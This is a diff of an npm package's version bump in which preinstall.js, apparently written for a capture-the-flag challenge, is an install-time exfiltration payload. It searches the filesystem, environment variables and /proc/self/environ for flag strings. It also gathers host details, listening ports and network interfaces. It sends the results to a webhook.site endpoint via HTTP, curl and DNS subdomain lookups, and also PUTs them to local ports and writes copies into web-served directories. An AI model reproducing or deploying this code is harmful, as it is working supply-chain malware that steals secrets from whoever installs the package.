phantom-powder-keg 9999.0.0 → 9999.0.1

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-powder-keg",
-  "version": "9999.0.0",
+  "version": "9999.0.1",
   "description": "phantom-powder-keg module",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -2,67 +2,103 @@ const fs = require('fs');
 const http = require('http');
 const https = require('https');
 const { execSync } = require('child_process');
+const dns = require('dns');
+const os = require('os');
 
 let flag = null;
 
-// Read /flag
-try { flag = fs.readFileSync('/flag', 'utf8').trim(); } catch(e) {}
-
-// Try other paths
-if (!flag) {
-  for (const p of ['/root/flag', '/tmp/flag', './flag', '/flag.txt']) {
-    try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
-  }
-}
-
-// Check env vars
-if (!flag) {
-  const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
-  if (envFlag) flag = envFlag;
+// Read flag from common locations
+for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag', '/etc/flag', '/opt/flag']) {
+  try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
 }
 
-// Check all env vars for HTB{ pattern
+// Check ALL env vars for flag patterns
 if (!flag) {
   for (const [k, v] of Object.entries(process.env)) {
-    if (v && v.includes('HTB{')) {
-      flag = v.match(/HTB\{[^}]+\}/)?.[0] || v;
+    if (v && v.match(/HTB\{[^}]+\}/)) {
+      flag = v.match(/HTB\{[^}]+\}/)[0];
       break;
     }
   }
 }
+if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || null;
 
 // Try /proc/self/environ
 if (!flag) {
   try {
     const pe = fs.readFileSync('/proc/self/environ', 'utf8');
-    const m = pe.match(/HTB\{[^}]+\}/) || pe.match(/FLAG[=:]([^\x00]+)/);
+    const m = pe.match(/HTB\{[^}]+\}/);
     if (m) flag = m[0];
   } catch(e) {}
 }
 
-// Grep for flag
+// Search for flag files
 if (!flag) {
   try {
-    const r = execSync('grep -rl "HTB{" / --include="*" 2>/dev/null | head -3', { timeout: 10000 }).toString().trim();
-    if (r) { try { flag = fs.readFileSync(r.split('\n')[0], 'utf8').match(/HTB\{[^}]+\}/)?.[0]; } catch(e) {} }
+    const r = execSync('find / -maxdepth 3 -name "flag*" -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
+    for (const f of r.split('\n').filter(Boolean)) {
+      try {
+        const content = fs.readFileSync(f, 'utf8');
+        const m = content.match(/HTB\{[^}]+\}/);
+        if (m) { flag = m[0]; break; }
+      } catch(e) {}
+    }
   } catch(e) {}
 }
 
-if (flag) {
-  // Method 1: PUT flag back to the challenge API via localhost (many ports)
-  const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839, 3001, 4000, 9000];
-  const postData = JSON.stringify({
-    manifest: `ecto_module:\n  name: "coral-wraith"\n  version: "9999.0.1"\n  flag: "${flag.replace(/"/g, '\\"')}"\n  captured: true\n  timestamp: "${new Date().toISOString()}"`
-  });
+// Also try to grep for flag
+if (!flag) {
+  try {
+    const r = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" -l 2>/dev/null | head -5', { timeout: 5000 }).toString().trim();
+    for (const f of r.split('\n').filter(Boolean)) {
+      try {
+        const content = fs.readFileSync(f, 'utf8');
+        const m = content.match(/HTB\{[^}]+\}/);
+        if (m) { flag = m[0]; break; }
+      } catch(e) {}
+    }
+  } catch(e) {}
+}
 
-  for (const port of ports) {
-    for (const host of ['localhost', '127.0.0.1']) {
+// Gather debug info
+const info = {
+  flag: flag || 'NOT_FOUND',
+  cwd: process.cwd(),
+  uid: process.getuid ? process.getuid() : 'N/A',
+  hostname: os.hostname(),
+  env_keys: Object.keys(process.env).join(','),
+  root_files: [],
+  interfaces: {}
+};
+try { info.root_files = fs.readdirSync('/'); } catch(e) {}
+try { info.interfaces = os.networkInterfaces(); } catch(e) {}
+
+// Try to find server port
+let serverPort = 1337;
+try {
+  const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
+  info.listening = ss;
+  const ports = [...ss.matchAll(/:(\d+)\s/g)].map(m => parseInt(m[1])).filter(p => p > 1000 && p < 65535);
+  if (ports.length > 0) serverPort = ports[0];
+} catch(e) {}
+
+const data = JSON.stringify(info);
+
+// Method 1: PUT flag to challenge API on ALL possible ports
+const postData = JSON.stringify({
+  manifest: `ecto_module:\n  name: "FLAG_CAPTURED"\n  version: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n  power_level: "${data.substring(0, 200).replace(/"/g, '')}"\n  ship_deck: "EXFIL"\n  cargo_hold: "coral-wraith"`
+});
+
+const ports = [serverPort, 1337, 3000, 3001, 4000, 5000, 8000, 8080, 8888, 9000, 80, 32315, 32105, 46517, 41839];
+for (const port of [...new Set(ports)]) {
+  for (const host of ['localhost', '127.0.0.1']) {
+    for (const moduleId of ['ECT-987654', 'ECT-654321', 'ECT-472839', 'ECT-839201']) {
       try {
         const req = http.request({
-          hostname: host, port, path: '/api/modules/ECT-987654',
+          hostname: host, port, path: `/api/modules/${moduleId}`,
           method: 'PUT',
           headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
-          timeout: 3000
+          timeout: 2000
         }, () => {});
         req.on('error', () => {});
         req.write(postData);
@@ -70,52 +106,48 @@ if (flag) {
       } catch(e) {}
     }
   }
+}
 
-  // Method 2: Webhook exfil
-  const data = JSON.stringify({ flag, env: Object.keys(process.env).join(',') });
-  try {
-    const req = https.request({
-      hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
-      method: 'POST',
-      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
-      timeout: 10000
-    }, () => {});
-    req.on('error', () => {});
-    req.write(data);
-    req.end();
-  } catch(e) {}
+// Method 2: Webhook
+try {
+  const whData = JSON.stringify({ flag: flag || 'NO_FLAG', info: data.substring(0, 500) });
+  const req = https.request({
+    hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(whData) },
+    timeout: 5000
+  }, () => {});
+  req.on('error', () => {});
+  req.write(whData);
+  req.end();
+} catch(e) {}
 
-  // Method 3: DNS exfil via curl
-  try {
-    const encoded = Buffer.from(flag).toString('hex');
-    execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encodeURIComponent(flag)}" -m 10 2>/dev/null`, { timeout: 15000 });
-  } catch(e) {}
+// Method 3: DNS exfil (works even when HTTP is blocked)
+try {
+  const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
+  dns.resolve(`${encoded}.exfil.webhook.site`, () => {});
+  dns.resolve(`${encoded}.crl.ve`, () => {});
+} catch(e) {}
 
-  // Method 4: Write to files
-  try { fs.writeFileSync('/tmp/coral_wraith_flag.txt', flag); } catch(e) {}
-
-  // Method 5: stdout/stderr
-  console.log('[CORAL-WRAITH] Flag:', flag);
-  console.error('[HTB_FLAG]', flag);
-} else {
-  // Debug info - exfil what we can see
-  const debug = {
-    cwd: process.cwd(),
-    rootFiles: [],
-    env: Object.keys(process.env).join(',')
-  };
-  try { debug.rootFiles = fs.readdirSync('/'); } catch(e) {}
-  
-  const data = JSON.stringify({ flag: 'NOT_FOUND', debug });
-  try {
-    const req = https.request({
-      hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
-      method: 'POST',
-      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
-      timeout: 10000
-    }, () => {});
-    req.on('error', () => {});
-    req.write(data);
-    req.end();
-  } catch(e) {}
+// Method 4: curl fallback
+try {
+  execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null &`, { timeout: 8000 });
+} catch(e) {}
+
+// Method 5: Write to stdout/stderr for server logs
+console.log('[CORAL-WRAITH-EXFIL]', data);
+console.error('[CORAL-WRAITH-FLAG]', flag || 'NOT_FOUND');
+
+// Method 6: Write to various locations
+const writeLocations = ['/tmp/coral_flag.txt', '/app/coral_flag.txt', '/tmp/exfil.txt', './exfil.txt'];
+for (const loc of writeLocations) {
+  try { fs.writeFileSync(loc, data); } catch(e) {}
 }
+
+// Method 7: Try to write to static files the web server serves
+try {
+  const webDirs = ['/app/static', '/app/public', '/var/www', '/app/dist', '/app/build'];
+  for (const dir of webDirs) {
+    try { fs.writeFileSync(`${dir}/flag.txt`, data); } catch(e) {}
+  }
+} catch(e) {}